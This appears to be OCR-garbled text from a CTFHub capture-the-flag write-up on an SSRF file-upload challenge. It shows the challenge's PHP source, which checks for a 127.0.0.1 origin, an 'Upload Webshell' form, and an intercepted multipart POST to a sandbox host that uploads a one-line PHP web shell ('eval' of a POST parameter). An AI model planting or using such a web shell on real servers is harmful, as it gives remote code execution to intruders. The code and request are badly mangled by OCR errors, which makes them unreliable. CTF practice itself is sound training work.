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<{?php
error_reporting(0);

if($ SERVER[ "REMOTE ADDR”] != "127.0.0.17){
echo "Just View From 127.0.0.17;
return;

}

if(isset($§ FILES[ "file”]) && $ FILES[ "file”"]["size”] > Q)1
echo getenv ("CTFHUB™)
exit;

}
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Upload Webshell
{form action="/flag. php” method="post” enctype="multipart/form-data”>

{input type="file” name="file">
</form>
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POST ftlag. php HITF/1. 1

]Hnst: challenge-8Ta4f43499da0134. sandbox. et fhub. com: 10800

|User-sgent: Mozilla/5. 0 (Windows HT 10.0; Winf4; =64; rv: 89 0) Geclo/20100101 Firefox/80. 0
bccept: text/html, application/xhtml+xm], application/xml;q=0. 8, image/ wehp, */ *; q=0 &
4decept-Language: zh-CH, zh;q=0. 8, zh-T%; g=0.7, zh-HE; q=0. 5, en-US; g=0. 3, en;g=0 2
4tecept-Encoding: gzip, deflate

|Content-Type: multipart/form-data; boundary T43603501309657A06G5336483004
Content-Length: 375

Origin: http://challenge-8T7a4f43499da0134. sandbox. et fhub. com: 10800

Connection: close

Referer: http://challenge-87a4f43489da0134. sandbox. ctfhub. com: 10800/7ur1=127. 0. 0. 1/flag. php
Coolie: UM_distinetid=1Taf% 3ede08127-019£43£554a54a-4c3£2d73-1£a400-1Tala3cde0042e

Upgrade-Insecure-Reguests: 1

T43693501396576EAEE336483054
Content-Disposition: form-data; name="file”; filename="1.php"
Content-Type: applicationfoctet-stream

?php eval ($_POST[ 1"1);7
T43693501396576EAEE336483054

:Couteut—Dispositiou: form-data; name="submit”
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